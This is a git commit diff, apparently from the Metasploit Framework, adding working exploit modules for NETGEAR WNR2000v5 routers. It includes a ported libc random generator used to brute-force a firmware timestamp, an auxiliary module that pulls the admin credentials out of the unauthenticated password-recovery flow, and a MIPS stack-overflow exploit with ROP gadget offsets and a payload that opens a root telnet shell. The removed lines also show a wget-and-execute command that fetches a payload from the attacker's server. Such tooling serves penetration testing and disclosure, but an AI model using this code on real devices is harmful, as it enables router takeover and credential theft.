add final wnr2000 sploits
parent
870e8046b5
commit
956602cbfe
|
@ -0,0 +1,113 @@
|
|||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides a complete port of the libc rand() and srand() functions.
|
||||
# It is used by the NETGEAR WNR2000v5 auxiliary and exploit modules, but might
|
||||
# be useful for any other module that needs to emulate C's random number generator.
|
||||
#
|
||||
# Author: Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security
|
||||
#
|
||||
###
|
||||
module Auxiliary::CRand
|
||||
|
||||
attr_accessor :randtbl
|
||||
attr_accessor :unsafe_state
|
||||
|
||||
####################
|
||||
# ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c
|
||||
# and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c
|
||||
|
||||
TYPE_3 = 3
|
||||
BREAK_3 = 128
|
||||
DEG_3 = 31
|
||||
SEP_3 = 3
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
@randtbl =
|
||||
[
|
||||
# we omit TYPE_3 from here, not needed
|
||||
-1726662223, 379960547, 1735697613, 1040273694, 1313901226,
|
||||
1627687941, -179304937, -2073333483, 1780058412, -1989503057,
|
||||
-615974602, 344556628, 939512070, -1249116260, 1507946756,
|
||||
-812545463, 154635395, 1388815473, -1926676823, 525320961,
|
||||
-1009028674, 968117788, -123449607, 1284210865, 435012392,
|
||||
-2017506339, -911064859, -370259173, 1132637927, 1398500161,
|
||||
-205601318,
|
||||
]
|
||||
|
||||
@unsafe_state = {
|
||||
"fptr" => SEP_3,
|
||||
"rptr" => 0,
|
||||
"state" => 0,
|
||||
"rand_type" => TYPE_3,
|
||||
"rand_deg" => DEG_3,
|
||||
"rand_sep" => SEP_3,
|
||||
"end_ptr" => DEG_3
|
||||
}
|
||||
end
|
||||
|
||||
# Emulate the behaviour of C's srand
|
||||
def srandom_r (seed)
|
||||
state = @randtbl
|
||||
if seed == 0
|
||||
seed = 1
|
||||
end
|
||||
state[0] = seed
|
||||
|
||||
dst = 0
|
||||
word = seed
|
||||
kc = DEG_3
|
||||
for i in 1..(kc-1)
|
||||
hi = word / 127773
|
||||
lo = word % 127773
|
||||
word = 16807 * lo - 2836 * hi
|
||||
if (word < 0)
|
||||
word += 2147483647
|
||||
end
|
||||
dst += 1
|
||||
state[dst] = word
|
||||
end
|
||||
|
||||
@unsafe_state['fptr'] = @unsafe_state['rand_sep']
|
||||
@unsafe_state['rptr'] = 0
|
||||
|
||||
kc *= 10
|
||||
kc -= 1
|
||||
while (kc >= 0)
|
||||
random_r
|
||||
kc -= 1
|
||||
end
|
||||
end
|
||||
|
||||
# Emulate the behaviour of C's rand
|
||||
def random_r
|
||||
buf = @unsafe_state
|
||||
state = buf['state']
|
||||
|
||||
fptr = buf['fptr']
|
||||
rptr = buf['rptr']
|
||||
end_ptr = buf['end_ptr']
|
||||
val = @randtbl[fptr] += @randtbl[rptr]
|
||||
|
||||
result = (val >> 1) & 0x7fffffff
|
||||
fptr += 1
|
||||
if (fptr >= end_ptr)
|
||||
fptr = state
|
||||
rptr += 1
|
||||
else
|
||||
rptr += 1
|
||||
if (rptr >= end_ptr)
|
||||
rptr = state
|
||||
end
|
||||
end
|
||||
buf['fptr'] = fptr
|
||||
buf['rptr'] = rptr
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -4,6 +4,7 @@
|
|||
# Auxiliary mixins
|
||||
#
|
||||
require 'msf/core/auxiliary/auth_brute'
|
||||
require 'msf/core/auxiliary/crand'
|
||||
require 'msf/core/auxiliary/dos'
|
||||
require 'msf/core/auxiliary/drdos'
|
||||
require 'msf/core/auxiliary/fuzzer'
|
||||
|
|
|
@ -4,16 +4,23 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'time'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::CRand
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset',
|
||||
'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery',
|
||||
'Description' => %q{
|
||||
The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery.
|
||||
This vulnerability can be exploited by an unauthenticated attacker who is able to guess
|
||||
the value of a certain timestamp which is in the configuration of the router.
|
||||
This module works very reliably and it has been tested with the WNR2000v5, firmware versions
|
||||
1.0.0.34 and 1.0.0.18. It should also work with the v4 and v3, but this has not been tested
|
||||
with these versions.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -23,17 +30,59 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'References' =>
|
||||
[
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72']
|
||||
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
|
||||
['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
|
||||
],
|
||||
'DisclosureDate' => 'Dec 20 2016',
|
||||
|
||||
'DisclosureDate' => 'Dec 20 2016'))
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80)
|
||||
], self.class)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
|
||||
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def get_password (q1, q2)
|
||||
|
||||
def get_current_time
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res['Date']
|
||||
date = res['Date']
|
||||
return Time.parse(date).strftime('%s').to_i
|
||||
end
|
||||
end
|
||||
|
||||
# Do some crazyness to force Ruby to cast to a single-precision float and
|
||||
# back to an integer.
|
||||
# This emulates the behaviour of the soft-fp library and the float cast
|
||||
# which is done at the end of Netgear's timestamp generator.
|
||||
def ieee754_round (number)
|
||||
[number].pack('f').unpack('f*')[0].to_i
|
||||
end
|
||||
|
||||
|
||||
# This is the actual algorithm used in the get_timestamp function in
|
||||
# the Netgear firmware.
|
||||
def get_timestamp(time)
|
||||
srandom_r time
|
||||
t0 = random_r
|
||||
t1 = 0x17dc65df;
|
||||
hi = (t0 * t1) >> 32;
|
||||
t2 = t0 >> 31;
|
||||
t3 = hi >> 23;
|
||||
t3 = t3 - t2;
|
||||
t4 = t3 * 0x55d4a80;
|
||||
t0 = t0 - t4;
|
||||
t0 = t0 + 0x989680;
|
||||
|
||||
ieee754_round(t0)
|
||||
end
|
||||
|
||||
def get_creds
|
||||
res = send_request_cgi({
|
||||
'uri' => '/BRS_netgear_success.html',
|
||||
'method' => 'GET'
|
||||
|
@ -41,20 +90,20 @@ class MetasploitModule < Msf::Auxiliary
|
|||
if res && res.body =~ /var sn="([\w]*)";/
|
||||
serial = $1
|
||||
else
|
||||
puts "[-]Failed to obtain serial number, bailing out..."
|
||||
exit(1)
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...")
|
||||
end
|
||||
|
||||
|
||||
# 1: send serial number
|
||||
res = send_request_cgi({
|
||||
'uri' => '/apply_noauth.cgi?/unauth.cgi',
|
||||
'method' => 'POST',
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' =>
|
||||
'vars_post' =>
|
||||
{
|
||||
'submit_flag' => 'match_sn',
|
||||
'serial_num' => serial,
|
||||
'continue' => '+Continue+'
|
||||
}
|
||||
})
|
||||
|
||||
# 2: send answer to secret questions
|
||||
|
@ -62,69 +111,113 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'uri' => '/apply_noauth.cgi?/securityquestions.cgi',
|
||||
'method' => 'POST',
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' =>
|
||||
'vars_post' =>
|
||||
{
|
||||
'submit_flag' => 'security_question',
|
||||
'answer1' => q1,
|
||||
'answer2' => q2,
|
||||
'answer1' => @q1,
|
||||
'answer2' => @q2,
|
||||
'continue' => '+Continue+'
|
||||
})
|
||||
|
||||
}
|
||||
})
|
||||
|
||||
# 3: PROFIT!!!
|
||||
res = send_request_cgi({
|
||||
'uri' => '/passwordrecovered.cgi',
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
|
||||
if res && res.body =~ /Admin Password: (.*)<\/TD>/
|
||||
password = $1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password")
|
||||
end
|
||||
|
||||
|
||||
if res && res.body =~ /Admin Username: (.*)<\/TD>/
|
||||
username = $1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain username")
|
||||
end
|
||||
|
||||
print_good("#{peer} - Success! Got admin username #{username} and password #{password}")
|
||||
return [username, password]
|
||||
end
|
||||
|
||||
return [username, password]
|
||||
end
|
||||
|
||||
def send_req(timestamp)
|
||||
begin
|
||||
uri_str = (timestamp == nil ? \
|
||||
"/apply_noauth.cgi?/PWD_password.htm" : \
|
||||
"/apply_noauth.cgi?/PWD_password.htm%20timestamp=#{timestamp.to_s}")
|
||||
res = send_request_raw({
|
||||
'uri' => uri_str,
|
||||
'method' => 'POST',
|
||||
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
|
||||
'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}"
|
||||
})
|
||||
return res
|
||||
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
|
||||
'vars_get' => { 'cmd' => "loaddefconfig" }
|
||||
})
|
||||
# generate the security questions
|
||||
@q1 = Rex::Text.rand_text_alpha(rand(20) + 2)
|
||||
@q2 = Rex::Text.rand_text_alpha(rand(20) + 2)
|
||||
|
||||
if res && res.code == 401
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "login.php"),
|
||||
'vars_post' => {
|
||||
'user' => datastore['USERNAME'],
|
||||
'pass' => datastore['PASSWORD'],
|
||||
'submit' => "Login"
|
||||
}
|
||||
})
|
||||
if res && (res.code == 200 || res.code == 302)
|
||||
cookie = res.get_cookies
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - A valid username / password is needed to reset the device.")
|
||||
end
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => { 'cmd' => "loaddefconfig" }
|
||||
})
|
||||
# let's try without timestamp first (the timestamp only gets set if the user visited the page before)
|
||||
print_status("#{peer} - Trying the easy way out first")
|
||||
res = send_req(nil)
|
||||
if res && res.code == 200
|
||||
credentials = get_creds
|
||||
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
|
||||
return
|
||||
end
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /load default configuration ok/
|
||||
print_good("#{peer} - Device has been reset to the default configuration.")
|
||||
# no result? let's just go on and bruteforce the timestamp
|
||||
print_bad("#{peer} - Well that didn't work... let's do it the hard way.")
|
||||
|
||||
# get the current date from the router and parse it
|
||||
end_time = get_current_time
|
||||
if end_time == nil
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
|
||||
end
|
||||
if end_time <= datastore['TIME_OFFSET']
|
||||
start_time = 0
|
||||
else
|
||||
print_error("#{peer} - Failed to reset device.")
|
||||
start_time = end_time - datastore['TIME_OFFSET']
|
||||
end
|
||||
end_time += datastore['TIME_SURPLUS']
|
||||
|
||||
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
|
||||
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
|
||||
end
|
||||
|
||||
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
|
||||
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but maybe an hour or more).")
|
||||
|
||||
# work back from the current router time minus datastore['TIME_OFFSET']
|
||||
while true
|
||||
for time in end_time.downto(start_time)
|
||||
timestamp = get_timestamp(time)
|
||||
sleep 0.1
|
||||
if time % 400 == 0
|
||||
print_status("#{peer} - Still working, trying time #{time}")
|
||||
end
|
||||
res = send_req(timestamp)
|
||||
if res && res.code == 200
|
||||
credentials = get_creds
|
||||
print_good("#{peer} - Success! Got admin username #{credentials[0]} and password #{credentials[1]}")
|
||||
return
|
||||
end
|
||||
end
|
||||
if start_time == 0
|
||||
# for the special case when the router resets the date to 1 Jan 1970
|
||||
start_time = end_time - (datastore['TIME_SURPLUS'])
|
||||
end_time += datastore['TIME_OFFSET']
|
||||
else
|
||||
end_time = start_time
|
||||
start_time -= datastore['TIME_OFFSET']
|
||||
end
|
||||
print_status("#{peer} - Going for another round, starting at #{start_time} and finishing at #{end_time}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,14 +10,21 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Auxiliary::CRand
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NETGEAR WNR2000v5 Unauthenticated / Authenticated Remote Code Execution',
|
||||
'Name' => 'NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow',
|
||||
'Description' => %q{
|
||||
The NETGEAR WNR2000 router has a buffer overflow vulnerability in the hidden_lang_avi
|
||||
parameter.
|
||||
In order to exploit it, it is necessary to guess the value of a certain timestamp which
|
||||
is in the configuration of the router. An authenticated attacker can simply fetch this
|
||||
from a page, but an unauthenticated attacker has to brute force it.
|
||||
This module implements both modes, and it works very reliably. It has been tested with
|
||||
the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with the v4
|
||||
and v3, but this has not been tested - with these routers it might be necessary to adjust
|
||||
the LibcBase variable as well as the gadget addresses.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -28,39 +35,50 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'References' =>
|
||||
[
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72']
|
||||
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
|
||||
['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'NETGEAR WNR2000v5',
|
||||
{
|
||||
'LibcBase' => 0x2ab24000, # should be the same offset for all firmware versions
|
||||
'System' => 0x547D0,
|
||||
'Gadget' => 0x2462C,
|
||||
'LibcBase' => 0x2ab24000, # should be the same offset for all firmware versions (in libuClibc-0.9.30.1.so)
|
||||
'SystemOffset' => 0x547D0,
|
||||
'GadgetOffset' => 0x2462C,
|
||||
#The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()):
|
||||
#LOAD:0002462C addiu $a0, $sp, 0x40+arg_0
|
||||
#LOAD:00024630 move $t9, $s0
|
||||
#LOAD:00024634 jalr $t9
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x25\x26"
|
||||
'BadChars' => "\x00\x25\x26",
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find',
|
||||
},
|
||||
},
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
|
||||
'DisclosureDate' => 'Dec 20 2016',
|
||||
'DefaultTarget' => 0))
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptBoot.new('REBOOT', [true, 'Reboot the router? (the exploit is more reliable with a reboot)', true]),
|
||||
OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']),
|
||||
OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']),
|
||||
OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']),
|
||||
OptString.new('USERNAME', [true, 'Username for the web interface (not needed but exploitation is faster)', 'admin']),
|
||||
OptString.new('PASSWORD', [true, 'Password for the web interface (not needed but exploitation is faster)', 'password']),
|
||||
], self.class)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
|
||||
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting a shell', 200])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
|
@ -76,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
||||
def uri_encode (str)
|
||||
"%" + str.scan(/.{2}|.+/).join("%")
|
||||
end
|
||||
|
@ -93,80 +111,156 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
})
|
||||
if res && res['Date']
|
||||
date = res['Date']
|
||||
Time.parse(date).strftime('%s').to_i
|
||||
return Time.parse(date).strftime('%s').to_i
|
||||
end
|
||||
end
|
||||
|
||||
def get_auth_timestamp(mode)
|
||||
res = send_request_cgi({
|
||||
def get_auth_timestamp
|
||||
res = send_request_raw({
|
||||
'uri' => '/lang_check.html',
|
||||
'method' => 'GET'
|
||||
'method' => 'GET',
|
||||
'headers' => {'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}")}
|
||||
})
|
||||
if res && res.code == 401
|
||||
# try again, might fail the first time
|
||||
res = send_request_cgi({
|
||||
res = send_request_raw({
|
||||
'uri' => '/lang_check.html',
|
||||
'method' => 'GET'
|
||||
'method' => 'GET',
|
||||
'headers' => {'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}")}
|
||||
})
|
||||
if res && res.code == 200
|
||||
if res.body =~ /timestamp=([0-9]{8})/
|
||||
$1.to_i
|
||||
end
|
||||
end
|
||||
if res && res.code == 200
|
||||
if res.body =~ /timestamp=([0-9]{8})/
|
||||
$1.to_i
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Do some crazyness to force Ruby to cast to a single-precision float and
|
||||
# back to an integer.
|
||||
# This emulates the behaviour of the soft-fp library and the float cast
|
||||
# which is done at the end of Netgear's timestamp generator.
|
||||
def ieee754_round (number)
|
||||
[number].pack('f').unpack('f*')[0].to_i
|
||||
end
|
||||
|
||||
|
||||
# This is the actual algorithm used in the get_timestamp function in
|
||||
# the Netgear firmware.
|
||||
def get_timestamp(time)
|
||||
srandom_r time
|
||||
t0 = random_r
|
||||
t1 = 0x17dc65df;
|
||||
hi = (t0 * t1) >> 32;
|
||||
t2 = t0 >> 31;
|
||||
t3 = hi >> 23;
|
||||
t3 = t3 - t2;
|
||||
t4 = t3 * 0x55d4a80;
|
||||
t0 = t0 - t4;
|
||||
t0 = t0 + 0x989680;
|
||||
|
||||
ieee754_round(t0)
|
||||
end
|
||||
|
||||
def get_payload
|
||||
rand_text_alpha(36) + # filler_1
|
||||
calc_address(target['LibcBase'], target['SystemOffset']) + # s0
|
||||
rand_text_alpha(12) + # s1, s2 and s3
|
||||
calc_address(target['LibcBase'], target['GadgetOffset']) + # gadget
|
||||
rand_text_alpha(0x40) + # filler_2
|
||||
"killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh" # payload
|
||||
end
|
||||
|
||||
def send_req(timestamp)
|
||||
begin
|
||||
uri_str = (timestamp == nil ? \
|
||||
"/apply_noauth.cgi?/lang_check.html" : \
|
||||
"/apply_noauth.cgi?/lang_check.html%20timestamp=#{timestamp.to_s}")
|
||||
res = send_request_raw({
|
||||
'uri' => uri_str,
|
||||
'method' => 'POST',
|
||||
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
|
||||
'data' => "submit_flag=select_language&hidden_lang_avi=#{get_payload}"
|
||||
})
|
||||
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
print_status("#{peer} - Attempting to exploit #{target.name}")
|
||||
if target == targets[0]
|
||||
send_payload(prepare_shellcode_mips)
|
||||
# 1: try to see if the default admin username and password are set
|
||||
timestamp = get_auth_timestamp
|
||||
|
||||
# 2: now we try two things at once:
|
||||
# one, if the timestamp is not nil then we got an authenticated timestamp, let's try that
|
||||
# two, if the timestamp is nil, then let's try without timestamp first (the timestamp only gets set if the user visited the page before)
|
||||
print_status("#{peer} - Trying the easy way out first")
|
||||
send_req(timestamp)
|
||||
begin
|
||||
ctx = { 'Msf' => framework, 'MsfExploit' => self }
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
|
||||
if not sock.nil?
|
||||
print_good("#{peer} - Success, shell incoming!")
|
||||
return handler(sock)
|
||||
end
|
||||
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
||||
sock.close if sock
|
||||
end
|
||||
|
||||
print_bad("#{peer} - Well that didn't work... let's do it the hard way.")
|
||||
|
||||
# no shell? let's just go on and bruteforce the timestamp
|
||||
# 3: get the current date from the router and parse it
|
||||
end_time = get_current_time
|
||||
if end_time == nil
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
|
||||
end
|
||||
if end_time <= datastore['TIME_OFFSET']
|
||||
start_time = 0
|
||||
else
|
||||
downfile = rand_text_alpha(8+rand(8))
|
||||
@pl = generate_payload_exe
|
||||
@elf_sent = false
|
||||
resource_uri = '/' + downfile
|
||||
start_time = end_time - datastore['TIME_OFFSET']
|
||||
end
|
||||
end_time += datastore['TIME_SURPLUS']
|
||||
|
||||
#do not use SSL
|
||||
if datastore['SSL']
|
||||
ssl_restore = true
|
||||
datastore['SSL'] = false
|
||||
end
|
||||
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
|
||||
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
|
||||
end
|
||||
|
||||
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
|
||||
srv_host = Rex::Socket.source_address(rhost)
|
||||
else
|
||||
srv_host = datastore['SRVHOST']
|
||||
end
|
||||
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
|
||||
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but maybe an hour or more).")
|
||||
|
||||
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
|
||||
print_status("#{peer} - Starting up our web service on #{service_url} ...")
|
||||
start_service({'Uri' => {
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
},
|
||||
'Path' => resource_uri
|
||||
}})
|
||||
|
||||
datastore['SSL'] = true if ssl_restore
|
||||
print_status("#{peer} - Asking the device to download and execute #{service_url}")
|
||||
|
||||
filename = rand_text_alpha_lower(rand(8) + 2)
|
||||
cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"
|
||||
|
||||
shellcode = prepare_shellcode_arm(cmd)
|
||||
|
||||
print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.")
|
||||
counter = 0.00
|
||||
while (not @elf_sent)
|
||||
if counter % 50.00 == 0 && counter != 0.00
|
||||
print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
|
||||
# 2: work back from the current router time minus datastore['TIME_OFFSET']
|
||||
while true
|
||||
for time in end_time.downto(start_time)
|
||||
timestamp = get_timestamp(time)
|
||||
sleep 0.1
|
||||
if time % 400 == 0
|
||||
print_status("#{peer} - Still working, trying time #{time}")
|
||||
end
|
||||
send_req(timestamp)
|
||||
begin
|
||||
ctx = { 'Msf' => framework, 'MsfExploit' => self }
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
|
||||
if sock.nil?
|
||||
next
|
||||
end
|
||||
print_status("#{peer} - Success, shell incoming!")
|
||||
return handler(sock)
|
||||
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
||||
sock.close if sock
|
||||
next
|
||||
end
|
||||
send_payload(shellcode)
|
||||
sleep datastore['SLEEP'].to_f # we need to be in the LAN, so a low value (< 1s) is fine
|
||||
counter += 1
|
||||
end
|
||||
print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
|
||||
if start_time == 0
|
||||
# for the special case when the router resets the date to 1 Jan 1970
|
||||
start_time = end_time - (datastore['TIME_SURPLUS'])
|
||||
end_time += datastore['TIME_OFFSET']
|
||||
else
|
||||
end_time = start_time
|
||||
start_time -= datastore['TIME_OFFSET']
|
||||
end
|
||||
print_status("#{peer} - Going for another round, starting at #{start_time} and finishing at #{end_time}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue